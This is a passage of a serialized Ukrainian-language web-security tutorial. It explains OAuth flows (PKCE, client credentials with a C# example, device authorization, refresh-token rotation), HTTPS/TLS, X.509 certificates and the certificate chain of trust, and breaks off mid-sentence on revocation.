#e3f2fd\n",[3433,8623,8624],{"class":3435,"line":3473},[3433,8625,8626],{},"participant \"Authorization\\nServer\\n(Google\u002FGitHub)\" as auth #fff9c4\n",[3433,8628,8629],{"class":3435,"line":3479},[3433,8630,8631],{},"participant \"Resource Server\\n(API)\" as api #e8f5e9\n",[3433,8633,8634],{"class":3435,"line":3484},[3433,8635,3458],{"emptyLinePlaceholder":3457},[3433,8637,8638],{"class":3435,"line":3490},[3433,8639,8640],{},"user -> app : Натискає \"Увійти через GitHub\"\n",[3433,8642,8643],{"class":3435,"line":3496},[3433,8644,3458],{"emptyLinePlaceholder":3457},[3433,8646,8647],{"class":3435,"line":3502},[3433,8648,8649],{},"note over app\n",[3433,8651,8652],{"class":3435,"line":3508},[3433,8653,8654],{},"  PKCE: генерує\n",[3433,8656,8657],{"class":3435,"line":3513},[3433,8658,8659],{},"  code_verifier (random)\n",[3433,8661,8662],{"class":3435,"line":3519},[3433,8663,8664],{},"  code_challenge = SHA256(verifier)\n",[3433,8666,8667],{"class":3435,"line":3525},[3433,8668,3534],{},[3433,8670,8671],{"class":3435,"line":3531},[3433,8672,3458],{"emptyLinePlaceholder":3457},[3433,8674,8675],{"class":3435,"line":3537},[3433,8676,8677],{},"app -> auth : GET \u002Fauthorize?\\n  client_id=...&\\n  redirect_uri=https:\u002F\u002Fapp.com\u002Fcallback&\\n  scope=read:user,repo&\\n  state=random_csrf_token&\\n  response_type=code&\\n  code_challenge=BASE64URL(SHA256(verifier))&\\n  code_challenge_method=S256\n",[3433,8679,8680],{"class":3435,"line":3542},[3433,8681,3458],{"emptyLinePlaceholder":3457},[3433,8683,8684],{"class":3435,"line":3548},[3433,8685,8686],{},"auth -> user : Сторінка логіну GitHub\n",[3433,8688,8689],{"class":3435,"line":3554},[3433,8690,8691],{},"user -> auth : Вводить логін\u002Fпароль\\nта підтверджує scopes\n",[3433,8693,8694],{"class":3435,"line":3560},[3433,8695,8696],{},"auth -> app : Редирект:\\nhttps:\u002F\u002Fapp.com\u002Fcallback?code=AUTH_CODE&state=TOKEN\n",[3433,8698,8699],{"class":3435,"line":3565},[3433,8700,3458],{"emptyLinePlaceholder":3457},[3433,8702,8703],{"class":3435,"line":3570},[3433,8704,8649],{},[3433,8706,8707],{"class":3435,"line":3576},[3433,8708,8709],{},"  Перевірка state!\n",[3433,8711,8712],{"class":3435,"line":3582},[3433,8713,3888],{},[3433,8715,8716],{"class":3435,"line":3587},[3433,8717,3534],{},[3433,8719,8720],{"class":3435,"line":3592},[3433,8721,3458],{"emptyLinePlaceholder":3457},[3433,8723,8724],{"class":3435,"line":3598},[3433,8725,8726],{},"app -> auth : POST \u002Ftoken\\n  code=AUTH_CODE\\n  client_id=...\\n  code_verifier=ORIGINAL_VERIFIER\\n  grant_type=authorization_code\n",[3433,8728,8729],{"class":3435,"line":3604},[3433,8730,8731],{},"auth -> auth : Перевіряє:\\n  SHA256(verifier) == code_challenge\n",[3433,8733,8734],{"class":3435,"line":3610},[3433,8735,8736],{},"auth --> app : {\\n  \"access_token\": \"...\",\\n  \"refresh_token\": \"...\",\\n  \"expires_in\": 3600\\n}\n",[3433,8738,8739],{"class":3435,"line":3615},[3433,8740,3458],{"emptyLinePlaceholder":3457},[3433,8742,8743],{"class":3435,"line":3620},[3433,8744,8745],{},"app -> api : GET \u002Fuser\\nAuthorization: Bearer ACCESS_TOKEN\n",[3433,8747,8748],{"class":3435,"line":3626},[3433,8749,8750],{},"api --> app : Дані користувача\n",[3433,8752,8753],{"class":3435,"line":3632},[3433,8754,3458],{"emptyLinePlaceholder":3457},[3433,8756,8757],{"class":3435,"line":3637},[3433,8758,3645],{},[3317,8760,8761,8764,8765,8767,8768,8771],{},[3321,8762,8763],{},"PKCE"," (Proof Key for Code Exchange, RFC 7636) — захист від перехоплення authorization code. Навіть якщо зловмисник отримає ",[3430,8766,3430],{}," (через redirect URI), він не зможе обміняти його на токен без ",[3430,8769,8770],{},"code_verifier",", який знає лише оригінальний застосунок.",[8586,8773,8775],{"id":8774},"client-credentials-flow","Client Credentials Flow",[3423,8777,8779],{"className":4731,"code":8778,"language":4733,"meta":4734,"style":3428},"\u002F\u002F Server-to-server автентифікація без участі користувача.\n\u002F\u002F Замініть URL на ваш OAuth-сервер:\n\u002F\u002F   Auth0:     https:\u002F\u002FYOUR-DOMAIN.auth0.com\u002Foauth\u002Ftoken\n\u002F\u002F   Keycloak:  https:\u002F\u002FYOUR-KEYCLOAK\u002Frealms\u002FREALM\u002Fprotocol\u002Fopenid-connect\u002Ftoken\n\u002F\u002F   Azure AD:  https:\u002F\u002Flogin.microsoftonline.com\u002FTENANT-ID\u002Foauth2\u002Fv2.0\u002Ftoken\nusing var client = new HttpClient();\n\nvar tokenRequest = new FormUrlEncodedContent(new[]\n{\n    new KeyValuePair\u003Cstring, string>(\"grant_type\", \"client_credentials\"),\n    new KeyValuePair\u003Cstring, string>(\"client_id\", \"my-service-id\"),\n    new KeyValuePair\u003Cstring, string>(\"client_secret\", \"my-service-secret\"),\n    new KeyValuePair\u003Cstring, string>(\"scope\", \"read:analytics write:reports\"),\n});\n\n\u002F\u002F httpbingo.org\u002Fpost — відображає тіло запиту (демонстрація формату без реального OAuth-сервера)\n\u002F\u002F У реальному проєкті: замінити на URL вашого OAuth-сервера\nHttpResponseMessage echoResponse = await client.PostAsync(\n    \"https:\u002F\u002Fhttpbingo.org\u002Fpost\",\n    tokenRequest\n);\nechoResponse.EnsureSuccessStatusCode();\n\nConsole.WriteLine(\"Запит відправлено. Формат: application\u002Fx-www-form-urlencoded\");\nConsole.WriteLine(\"Параметри: grant_type=client_credentials, scope=read:analytics\");\n\n\u002F\u002F Реальний OAuth-сервер поверне:\n\u002F\u002F {\"access_token\":\"eyJ...\",\"token_type\":\"Bearer\",\"expires_in\":3600,\"scope\":\"read:analytics\"}\n\u002F\u002F var token = await tokenResponse.Content.ReadFromJsonAsync\u003COAuthToken>();\n\u002F\u002F client.DefaultRequestHeaders.Authorization =\n\u002F\u002F     new AuthenticationHeaderValue(\"Bearer\", token?.AccessToken);\n\u002F\u002F var data = await client.GetFromJsonAsync\u003Cobject>(\"https:\u002F\u002Fyour-api.com\u002Fanalytics\u002Fsummary\");\n\nrecord OAuthToken(\n    string AccessToken,\n    string TokenType,\n    int ExpiresIn,\n    string? Scope\n);\n",[3430,8780,8781,8786,8791,8796,8801,8806,8822,8826,8847,8851,8880,8906,8932,8958,8963,8967,8972,8977,8997,9004,9009,9013,9024,9028,9043,9058,9062,9067,9072,9077,9082,9087,9092,9096,9105,9114,9123,9132,9141],{"__ignoreMap":3428},[3433,8782,8783],{"class":3435,"line":3436},[3433,8784,8785],{"class":4802},"\u002F\u002F Server-to-server автентифікація без участі користувача.\n",[3433,8787,8788],{"class":3435,"line":3442},[3433,8789,8790],{"class":4802},"\u002F\u002F Замініть URL на ваш OAuth-сервер:\n",[3433,8792,8793],{"class":3435,"line":3448},[3433,8794,8795],{"class":4802},"\u002F\u002F   Auth0:     https:\u002F\u002FYOUR-DOMAIN.auth0.com\u002Foauth\u002Ftoken\n",[3433,8797,8798],{"class":3435,"line":3454},[3433,8799,8800],{"class":4802},"\u002F\u002F   Keycloak:  https:\u002F\u002FYOUR-KEYCLOAK\u002Frealms\u002FREALM\u002Fprotocol\u002Fopenid-connect\u002Ftoken\n",[3433,8802,8803],{"class":3435,"line":3461},[3433,8804,8805],{"class":4802},"\u002F\u002F   Azure AD:  https:\u002F\u002Flogin.microsoftonline.com\u002FTENANT-ID\u002Foauth2\u002Fv2.0\u002Ftoken\n",[3433,8807,8808,8810,8812,8814,8816,8818,8820],{"class":3435,"line":3467},[3433,8809,4742],{"class":4741},[3433,8811,4882],{"class":3923},[3433,8813,4885],{"class":4811},[3433,8815,4815],{"class":4749},[3433,8817,4818],{"class":3923},[3433,8819,4892],{"class":4745},[3433,8821,4824],{"class":4749},[3433,8823,8824],{"class":3435,"line":3473},[3433,8825,3458],{"emptyLinePlaceholder":3457},[3433,8827,8828,8830,8833,8835,8837,8840,8842,8844],{"class":3435,"line":3479},[3433,8829,4808],{"class":3923},[3433,8831,8832],{"class":4811}," tokenRequest",[3433,8834,4815],{"class":4749},[3433,8836,4818],{"class":3923},[3433,8838,8839],{"class":4745}," FormUrlEncodedContent",[3433,8841,4895],{"class":4749},[3433,8843,4818],{"class":3923},[3433,8845,8846],{"class":4749},"[]\n",[3433,8848,8849],{"class":3435,"line":3484},[3433,8850,4843],{"class":4749},[3433,8852,8853,8855,8858,8860,8862,8864,8866,8869,8872,8874,8877],{"class":3435,"line":3490},[3433,8854,5030],{"class":3923},[3433,8856,8857],{"class":4745}," KeyValuePair",[3433,8859,5005],{"class":4749},[3433,8861,3940],{"class":3923},[3433,8863,4263],{"class":4749},[3433,8865,3940],{"class":3923},[3433,8867,8868],{"class":4749},">(",[3433,8870,8871],{"class":3926},"\"grant_type\"",[3433,8873,4263],{"class":4749},[3433,8875,8876],{"class":3926},"\"client_credentials\"",[3433,8878,8879],{"class":4749},"),\n",[3433,8881,8882,8884,8886,8888,8890,8892,8894,8896,8899,8901,8904],{"class":3435,"line":3496},[3433,8883,5030],{"class":3923},[3433,8885,8857],{"class":4745},[3433,8887,5005],{"class":4749},[3433,8889,3940],{"class":3923},[3433,8891,4263],{"class":4749},[3433,8893,3940],{"class":3923},[3433,8895,8868],{"class":4749},[3433,8897,8898],{"class":3926},"\"client_id\"",[3433,8900,4263],{"class":4749},[3433,8902,8903],{"class":3926},"\"my-service-id\"",[3433,8905,8879],{"class":4749},[3433,8907,8908,8910,8912,8914,8916,8918,8920,8922,8925,8927,8930],{"class":3435,"line":3502},[3433,8909,5030],{"class":3923},[3433,8911,8857],{"class":4745},[3433,8913,5005],{"class":4749},[3433,8915,3940],{"class":3923},[3433,8917,4263],{"class":4749},[3433,8919,3940],{"class":3923},[3433,8921,8868],{"class":4749},[3433,8923,8924],{"class":3926},"\"client_secret\"",[3433,8926,4263],{"class":4749},[3433,8928,8929],{"class":3926},"\"my-service-secret\"",[3433,8931,8879],{"class":4749},[3433,8933,8934,8936,8938,8940,8942,8944,8946,8948,8951,8953,8956],{"class":3435,"line":3508},[3433,8935,5030],{"class":3923},[3433,8937,8857],{"class":4745},[3433,8939,5005],{"class":4749},[3433,8941,3940],{"class":3923},[3433,8943,4263],{"class":4749},[3433,8945,3940],{"class":3923},[3433,8947,8868],{"class":4749},[3433,8949,8950],{"class":3926},"\"scope\"",[3433,8952,4263],{"class":4749},[3433,8954,8955],{"class":3926},"\"read:analytics write:reports\"",[3433,8957,8879],{"class":4749},[3433,8959,8960],{"class":3435,"line":3513},[3433,8961,8962],{"class":4749},"});\n",[3433,8964,8965],{"class":3435,"line":3519},[3433,8966,3458],{"emptyLinePlaceholder":3457},[3433,8968,8969],{"class":3435,"line":3525},[3433,8970,8971],{"class":4802},"\u002F\u002F httpbingo.org\u002Fpost — відображає тіло запиту (демонстрація формату без реального OAuth-сервера)\n",[3433,8973,8974],{"class":3435,"line":3531},[3433,8975,8976],{"class":4802},"\u002F\u002F У реальному проєкті: замінити на URL вашого OAuth-сервера\n",[3433,8978,8979,8981,8984,8986,8988,8990,8992,8995],{"class":3435,"line":3537},[3433,8980,4952],{"class":4745},[3433,8982,8983],{"class":4811}," echoResponse",[3433,8985,4815],{"class":4749},[3433,8987,4960],{"class":3923},[3433,8989,4885],{"class":4811},[3433,8991,3670],{"class":4749},[3433,8993,8994],{"class":4967},"PostAsync",[3433,8996,5025],{"class":4749},[3433,8998,8999,9002],{"class":3435,"line":3542},[3433,9000,9001],{"class":3926},"    \"https:\u002F\u002Fhttpbingo.org\u002Fpost\"",[3433,9003,4856],{"class":4749},[3433,9005,9006],{"class":3435,"line":3548},[3433,9007,9008],{"class":4811},"    tokenRequest\n",[3433,9010,9011],{"class":3435,"line":3554},[3433,9012,4976],{"class":4749},[3433,9014,9015,9018,9020,9022],{"class":3435,"line":3560},[3433,9016,9017],{"class":4811},"echoResponse",[3433,9019,3670],{"class":4749},[3433,9021,4986],{"class":4967},[3433,9023,4824],{"class":4749},[3433,9025,9026],{"class":3435,"line":3565},[3433,9027,3458],{"emptyLinePlaceholder":3457},[3433,9029,9030,9032,9034,9036,9038,9041],{"class":3435,"line":3570},[3433,9031,7898],{"class":4811},[3433,9033,3670],{"class":4749},[3433,9035,5080],{"class":4967},[3433,9037,4895],{"class":4749},[3433,9039,9040],{"class":3926},"\"Запит відправлено. Формат: application\u002Fx-www-form-urlencoded\"",[3433,9042,4976],{"class":4749},[3433,9044,9045,9047,9049,9051,9053,9056],{"class":3435,"line":3576},[3433,9046,7898],{"class":4811},[3433,9048,3670],{"class":4749},[3433,9050,5080],{"class":4967},[3433,9052,4895],{"class":4749},[3433,9054,9055],{"class":3926},"\"Параметри: grant_type=client_credentials, scope=read:analytics\"",[3433,9057,4976],{"class":4749},[3433,9059,9060],{"class":3435,"line":3582},[3433,9061,3458],{"emptyLinePlaceholder":3457},[3433,9063,9064],{"class":3435,"line":3587},[3433,9065,9066],{"class":4802},"\u002F\u002F Реальний OAuth-сервер поверне:\n",[3433,9068,9069],{"class":3435,"line":3592},[3433,9070,9071],{"class":4802},"\u002F\u002F {\"access_token\":\"eyJ...\",\"token_type\":\"Bearer\",\"expires_in\":3600,\"scope\":\"read:analytics\"}\n",[3433,9073,9074],{"class":3435,"line":3598},[3433,9075,9076],{"class":4802},"\u002F\u002F var token = await tokenResponse.Content.ReadFromJsonAsync\u003COAuthToken>();\n",[3433,9078,9079],{"class":3435,"line":3604},[3433,9080,9081],{"class":4802},"\u002F\u002F client.DefaultRequestHeaders.Authorization =\n",[3433,9083,9084],{"class":3435,"line":3610},[3433,9085,9086],{"class":4802},"\u002F\u002F     new AuthenticationHeaderValue(\"Bearer\", token?.AccessToken);\n",[3433,9088,9089],{"class":3435,"line":3615},[3433,9090,9091],{"class":4802},"\u002F\u002F var data = await client.GetFromJsonAsync\u003Cobject>(\"https:\u002F\u002Fyour-api.com\u002Fanalytics\u002Fsummary\");\n",[3433,9093,9094],{"class":3435,"line":3620},[3433,9095,3458],{"emptyLinePlaceholder":3457},[3433,9097,9098,9100,9103],{"class":3435,"line":3626},[3433,9099,8406],{"class":3923},[3433,9101,9102],{"class":4745}," OAuthToken",[3433,9104,5025],{"class":4749},[3433,9106,9107,9110,9112],{"class":3435,"line":3632},[3433,9108,9109],{"class":3923},"    string",[3433,9111,8416],{"class":4811},[3433,9113,4856],{"class":4749},[3433,9115,9116,9118,9121],{"class":3435,"line":3637},[3433,9117,9109],{"class":3923},[3433,9119,9120],{"class":4811}," TokenType",[3433,9122,4856],{"class":4749},[3433,9124,9125,9128,9130],{"class":3435,"line":3642},[3433,9126,9127],{"class":3923},"    int",[3433,9129,8431],{"class":4811},[3433,9131,4856],{"class":4749},[3433,9133,9134,9136,9138],{"class":3435,"line":3895},[3433,9135,9109],{"class":3923},[3433,9137,5412],{"class":4749},[3433,9139,9140],{"class":4811},"Scope\n",[3433,9142,9143],{"class":3435,"line":3900},[3433,9144,4976],{"class":4749},[8586,9146,9148],{"id":9147},"device-authorization-flow","Device Authorization Flow",[3317,9150,9151],{},"Для пристроїв без браузера (Smart TV, CLI-інструменти, IoT):",[3420,9153,9154],{},[3423,9155,9157],{"className":3425,"code":9156,"language":3427,"meta":3428,"style":3428},"@startuml\nskinparam style plain\nskinparam backgroundColor #ffffff\n\nparticipant \"CLI\u002FTV\\n(Device)\" as device #e3f2fd\nparticipant \"Authorization\\nServer\" as auth #fff9c4\nactor \"Користувач\\n(з телефоном\u002FПК)\" as user\n\ndevice -> auth : POST \u002Fdevice\u002Fauthorize\\n  client_id=my-cli&\\n  scope=repo\n\nauth --> device : {\\n  \"device_code\": \"DEVICE_CODE\",\\n  \"user_code\": \"ABCD-1234\",\\n  \"verification_uri\": \"https:\u002F\u002Fauth.com\u002Factivate\",\\n  \"expires_in\": 900,\\n  \"interval\": 5\\n}\n\ndevice -> device : Виводить:\\n  Відкрийте https:\u002F\u002Fauth.com\u002Factivate\\n  Введіть код: ABCD-1234\n\nloop кожні 5 секунд\n    device -> auth : POST \u002Ftoken\\n  device_code=DEVICE_CODE\\n  grant_type=urn:ietf:params:oauth:grant-type:device_code\n    auth --> device : {\"error\": \"authorization_pending\"}\nend\n\nuser -> auth : Відкрив сторінку,\\nввів ABCD-1234, підтвердив\n\ndevice -> auth : POST \u002Ftoken (наступний poll)\nauth --> device : {\\n  \"access_token\": \"...\",\\n  \"refresh_token\": \"...\"\\n}\n\n@enduml\n",[3430,9158,9159,9163,9167,9171,9175,9180,9185,9190,9194,9199,9203,9208,9212,9217,9221,9226,9231,9236,9241,9245,9250,9254,9259,9264,9268],{"__ignoreMap":3428},[3433,9160,9161],{"class":3435,"line":3436},[3433,9162,3439],{},[3433,9164,9165],{"class":3435,"line":3442},[3433,9166,3445],{},[3433,9168,9169],{"class":3435,"line":3448},[3433,9170,3451],{},[3433,9172,9173],{"class":3435,"line":3454},[3433,9174,3458],{"emptyLinePlaceholder":3457},[3433,9176,9177],{"class":3435,"line":3461},[3433,9178,9179],{},"participant \"CLI\u002FTV\\n(Device)\" as device #e3f2fd\n",[3433,9181,9182],{"class":3435,"line":3467},[3433,9183,9184],{},"participant \"Authorization\\nServer\" as auth #fff9c4\n",[3433,9186,9187],{"class":3435,"line":3473},[3433,9188,9189],{},"actor \"Користувач\\n(з телефоном\u002FПК)\" as user\n",[3433,9191,9192],{"class":3435,"line":3479},[3433,9193,3458],{"emptyLinePlaceholder":3457},[3433,9195,9196],{"class":3435,"line":3484},[3433,9197,9198],{},"device -> auth : POST \u002Fdevice\u002Fauthorize\\n  client_id=my-cli&\\n  scope=repo\n",[3433,9200,9201],{"class":3435,"line":3490},[3433,9202,3458],{"emptyLinePlaceholder":3457},[3433,9204,9205],{"class":3435,"line":3496},[3433,9206,9207],{},"auth --> device : {\\n  \"device_code\": \"DEVICE_CODE\",\\n  \"user_code\": \"ABCD-1234\",\\n  \"verification_uri\": \"https:\u002F\u002Fauth.com\u002Factivate\",\\n  \"expires_in\": 900,\\n  \"interval\": 5\\n}\n",[3433,9209,9210],{"class":3435,"line":3502},[3433,9211,3458],{"emptyLinePlaceholder":3457},[3433,9213,9214],{"class":3435,"line":3508},[3433,9215,9216],{},"device -> device : Виводить:\\n  Відкрийте https:\u002F\u002Fauth.com\u002Factivate\\n  Введіть код: ABCD-1234\n",[3433,9218,9219],{"class":3435,"line":3513},[3433,9220,3458],{"emptyLinePlaceholder":3457},[3433,9222,9223],{"class":3435,"line":3519},[3433,9224,9225],{},"loop кожні 5 секунд\n",[3433,9227,9228],{"class":3435,"line":3525},[3433,9229,9230],{},"    device -> auth : POST \u002Ftoken\\n  device_code=DEVICE_CODE\\n  grant_type=urn:ietf:params:oauth:grant-type:device_code\n",[3433,9232,9233],{"class":3435,"line":3531},[3433,9234,9235],{},"    auth --> device : {\"error\": \"authorization_pending\"}\n",[3433,9237,9238],{"class":3435,"line":3537},[3433,9239,9240],{},"end\n",[3433,9242,9243],{"class":3435,"line":3542},[3433,9244,3458],{"emptyLinePlaceholder":3457},[3433,9246,9247],{"class":3435,"line":3548},[3433,9248,9249],{},"user -> auth : Відкрив сторінку,\\nввів ABCD-1234, підтвердив\n",[3433,9251,9252],{"class":3435,"line":3554},[3433,9253,3458],{"emptyLinePlaceholder":3457},[3433,9255,9256],{"class":3435,"line":3560},[3433,9257,9258],{},"device -> auth : POST \u002Ftoken (наступний poll)\n",[3433,9260,9261],{"class":3435,"line":3565},[3433,9262,9263],{},"auth --> device : {\\n  \"access_token\": \"...\",\\n  \"refresh_token\": \"...\"\\n}\n",[3433,9265,9266],{"class":3435,"line":3570},[3433,9267,3458],{"emptyLinePlaceholder":3457},[3433,9269,9270],{"class":3435,"line":3576},[3433,9271,3645],{},[8586,9273,9275],{"id":9274},"refresh-token-rotation","Refresh Token Rotation",[3317,9277,9278,9279,9282],{},"Стратегія безпеки: кожен refresh видає ",[3321,9280,9281],{},"новий"," refresh token і інвалідує старий. При виявленні повторного використання старого refresh token — вся сесія блокується (ознака компрометації).",[3423,9284,9287],{"className":9285,"code":9286,"language":4628},[4626],"1. Client → POST \u002Ftoken (refresh_token=RT1)\n2. Server → access_token=AT2, refresh_token=RT2 (RT1 інвалідовано)\n\nЯкщо зловмисник перехопив RT1:\n3. Evil → POST \u002Ftoken (refresh_token=RT1)\n4. Server: RT1 вже використано! → Блокувати всю сесію користувача\n",[3430,9288,9286],{"__ignoreMap":3428},[3647,9290],{},[3312,9292,9294],{"id":9293},"https-та-tls-шифрування-транспорту","HTTPS та TLS: шифрування транспорту",[3654,9296,9298],{"id":9297},"навіщо-https","Навіщо HTTPS",[3317,9300,9301,9302,4263,9305,4197,9308,9311],{},"Без шифрування будь-який вузол між клієнтом і сервером (провайдер, публічний Wi-Fi, проксі) може ",[3321,9303,9304],{},"читати",[3321,9306,9307],{},"підмінювати",[3321,9309,9310],{},"вставляти"," довільний контент у передані дані.",[3317,9313,9314,9317],{},[3321,9315,9316],{},"HTTPS"," = HTTP over TLS. TLS (Transport Layer Security) забезпечує три властивості:",[3346,9319,9320,9332],{},[3349,9321,9322],{},[3352,9323,9324,9327,9329],{},[3355,9325,9326],{},"Властивість",[3355,9328,3357],{},[3355,9330,9331],{},"Що захищає",[3368,9333,9334,9347,9360],{},[3352,9335,9336,9341,9344],{},[3373,9337,9338],{},[3321,9339,9340],{},"Конфіденційність",[3373,9342,9343],{},"Симетричне шифрування (AES-256-GCM)",[3373,9345,9346],{},"Ніхто не читає трафік",[3352,9348,9349,9354,9357],{},[3373,9350,9351],{},[3321,9352,9353],{},"Цілісність",[3373,9355,9356],{},"MAC (Message Authentication Code)",[3373,9358,9359],{},"Ніхто не підміняє дані",[3352,9361,9362,9367,9370],{},[3373,9363,9364],{},[3321,9365,9366],{},"Автентичність",[3373,9368,9369],{},"X.509 сертифікати",[3373,9371,9372],{},"Клієнт спілкується з правильним сервером",[3654,9374,9376],{"id":9375},"x509-сертифікат-анатомія","X.509 Сертифікат: анатомія",[3317,9378,9379],{},"Сертифікат — це підписаний цифровий документ, що прив'язує публічний ключ до ідентифікатора (домену).",[3423,9381,9384],{"className":9382,"code":9383,"language":4628},[4626],"Certificate:\n  Version:      3\n  Serial:       0A:B4:C2:...\n  Algorithm:    SHA256withRSA\n  Issuer:       C=US, O=Let's Encrypt, CN=R10\n  Validity:\n    Not Before: 2025-01-01 00:00:00\n    Not After:  2025-04-01 00:00:00   ← 90 днів для Let's Encrypt\n  Subject:      CN=api.example.com\n  Subject Alt Names (SAN):\n    DNS: api.example.com\n    DNS: *.example.com\n  Public Key:   RSA 2048 bits (або EC P-256)\n  Extensions:\n    Key Usage: Digital Signature, Key Encipherment\n    Extended Key Usage: TLS Web Server Authentication\n    OCSP URL: http:\u002F\u002Focsp.pki.goog\u002F\n    CRL URL:  http:\u002F\u002Fcrl.pki.goog\u002F\n  Signature:    [підпис Issuer приватним ключем]\n",[3430,9385,9383],{"__ignoreMap":3428},[3317,9387,9388,9391,9392,9395],{},[3321,9389,9390],{},"SAN (Subject Alternative Names)"," — саме цей розділ перевіряє браузер при порівнянні з доменом. ",[3430,9393,9394],{},"CN"," (Common Name) — застаріла перевірка, SAN — сучасний стандарт.",[3654,9397,9399],{"id":9398},"рівні-довіри-сертифікатів","Рівні довіри сертифікатів",[3346,9401,9402,9417],{},[3349,9403,9404],{},[3352,9405,9406,9408,9411,9414],{},[3355,9407,7324],{},[3355,9409,9410],{},"Перевірка CA",[3355,9412,9413],{},"Видається за",[3355,9415,9416],{},"Для чого",[3368,9418,9419,9436,9453],{},[3352,9420,9421,9427,9430,9433],{},[3373,9422,9423,9426],{},[3321,9424,9425],{},"DV"," (Domain Validated)",[3373,9428,9429],{},"Лише домен",[3373,9431,9432],{},"~хвилини (ACME)",[3373,9434,9435],{},"Більшість сайтів",[3352,9437,9438,9444,9447,9450],{},[3373,9439,9440,9443],{},[3321,9441,9442],{},"OV"," (Organization Validated)",[3373,9445,9446],{},"Домен + організація",[3373,9448,9449],{},"~дні",[3373,9451,9452],{},"Корпоративні сайти",[3352,9454,9455,9461,9464,9467],{},[3373,9456,9457,9460],{},[3321,9458,9459],{},"EV"," (Extended Validation)",[3373,9462,9463],{},"Детальна перевірка юр. особи",[3373,9465,9466],{},"~тижні",[3373,9468,9469],{},"Банки, платіжні",[3654,9471,9473],{"id":9472},"ланцюжок-довіри","Ланцюжок довіри",[3317,9475,9476,9477,9480],{},"Браузер не знає сертифікат кожного сайту. Замість цього він довіряє кільком ",[3321,9478,9479],{},"Root Certificate Authorities"," (CA), чиї сертифікати вбудовані в ОС та браузер. Сертифікат сервера підписаний ланцюжком до одного з цих довірених Root CA.",[3420,9482,9483],{},[3423,9484,9486],{"className":3425,"code":9485,"language":3427,"meta":3428,"style":3428},"@startuml\nskinparam style plain\nskinparam backgroundColor #ffffff\n\nrectangle \"Root CA Certificate\\n(в ОС браузера)\" as root #e8f5e9 {\n    rectangle \"ISRG Root X1\\nСамопідписаний\\n(trust anchor)\" as rootcert #a5d6a7\n}\n\nrectangle \"Intermediate CA Certificate\\n(від Root CA)\" as inter #e3f2fd {\n    rectangle \"Let's Encrypt R10\\nПідписаний Root CA\" as intercert #90caf9\n}\n\nrectangle \"End-Entity Certificate\\n(сертифікат сайту)\" as ee #fff9c4 {\n    rectangle \"api.example.com\\nПідписаний Intermediate CA\" as eecert #ffe082\n}\n\nroot --> inter : підписує (offline)\ninter --> ee : підписує (online, автоматично)\n\nnote right of root\n  Зберігається в браузері\u002FОС.\n  Root CA підписи важко компрометувати —\n  приватний ключ зберігається offline.\nend note\n\nnote right of ee\n  Надсилається клієнту\n  під час TLS handshake.\n  Браузер перевіряє підпис\n  Intermediate CA, потім\n  Intermediate ← Root.\nend note\n\n@enduml\n",[3430,9487,9488,9492,9496,9500,9504,9509,9514,9518,9522,9527,9532,9536,9540,9545,9550,9554,9558,9563,9568,9572,9577,9582,9587,9592,9596,9600,9605,9610,9615,9620,9625,9630,9634,9638],{"__ignoreMap":3428},[3433,9489,9490],{"class":3435,"line":3436},[3433,9491,3439],{},[3433,9493,9494],{"class":3435,"line":3442},[3433,9495,3445],{},[3433,9497,9498],{"class":3435,"line":3448},[3433,9499,3451],{},[3433,9501,9502],{"class":3435,"line":3454},[3433,9503,3458],{"emptyLinePlaceholder":3457},[3433,9505,9506],{"class":3435,"line":3461},[3433,9507,9508],{},"rectangle \"Root CA Certificate\\n(в ОС браузера)\" as root #e8f5e9 {\n",[3433,9510,9511],{"class":3435,"line":3467},[3433,9512,9513],{},"    rectangle \"ISRG Root X1\\nСамопідписаний\\n(trust anchor)\" as rootcert #a5d6a7\n",[3433,9515,9516],{"class":3435,"line":3473},[3433,9517,3813],{},[3433,9519,9520],{"class":3435,"line":3479},[3433,9521,3458],{"emptyLinePlaceholder":3457},[3433,9523,9524],{"class":3435,"line":3484},[3433,9525,9526],{},"rectangle \"Intermediate CA Certificate\\n(від Root CA)\" as inter #e3f2fd {\n",[3433,9528,9529],{"class":3435,"line":3490},[3433,9530,9531],{},"    rectangle \"Let's Encrypt R10\\nПідписаний Root CA\" as intercert #90caf9\n",[3433,9533,9534],{"class":3435,"line":3496},[3433,9535,3813],{},[3433,9537,9538],{"class":3435,"line":3502},[3433,9539,3458],{"emptyLinePlaceholder":3457},[3433,9541,9542],{"class":3435,"line":3508},[3433,9543,9544],{},"rectangle \"End-Entity Certificate\\n(сертифікат сайту)\" as ee #fff9c4 {\n",[3433,9546,9547],{"class":3435,"line":3513},[3433,9548,9549],{},"    rectangle \"api.example.com\\nПідписаний Intermediate CA\" as eecert #ffe082\n",[3433,9551,9552],{"class":3435,"line":3519},[3433,9553,3813],{},[3433,9555,9556],{"class":3435,"line":3525},[3433,9557,3458],{"emptyLinePlaceholder":3457},[3433,9559,9560],{"class":3435,"line":3531},[3433,9561,9562],{},"root --> inter : підписує (offline)\n",[3433,9564,9565],{"class":3435,"line":3537},[3433,9566,9567],{},"inter --> ee : підписує (online, автоматично)\n",[3433,9569,9570],{"class":3435,"line":3542},[3433,9571,3458],{"emptyLinePlaceholder":3457},[3433,9573,9574],{"class":3435,"line":3548},[3433,9575,9576],{},"note right of root\n",[3433,9578,9579],{"class":3435,"line":3554},[3433,9580,9581],{},"  Зберігається в браузері\u002FОС.\n",[3433,9583,9584],{"class":3435,"line":3560},[3433,9585,9586],{},"  Root CA підписи важко компрометувати —\n",[3433,9588,9589],{"class":3435,"line":3565},[3433,9590,9591],{},"  приватний ключ зберігається offline.\n",[3433,9593,9594],{"class":3435,"line":3570},[3433,9595,3534],{},[3433,9597,9598],{"class":3435,"line":3576},[3433,9599,3458],{"emptyLinePlaceholder":3457},[3433,9601,9602],{"class":3435,"line":3582},[3433,9603,9604],{},"note right of ee\n",[3433,9606,9607],{"class":3435,"line":3587},[3433,9608,9609],{},"  Надсилається клієнту\n",[3433,9611,9612],{"class":3435,"line":3592},[3433,9613,9614],{},"  під час TLS handshake.\n",[3433,9616,9617],{"class":3435,"line":3598},[3433,9618,9619],{},"  Браузер перевіряє підпис\n",[3433,9621,9622],{"class":3435,"line":3604},[3433,9623,9624],{},"  Intermediate CA, потім\n",[3433,9626,9627],{"class":3435,"line":3610},[3433,9628,9629],{},"  Intermediate ← Root.\n",[3433,9631,9632],{"class":3435,"line":3615},[3433,9633,3534],{},[3433,9635,9636],{"class":3435,"line":3620},[3433,9637,3458],{"emptyLinePlaceholder":3457},[3433,9639,9640],{"class":3435,"line":3626},[3433,9641,3645],{},[3317,9643,9644,9647],{},[3321,9645,9646],{},"Revocation"," (відкликання) — якщо приватний ключ скомпрометовано, сертифікат 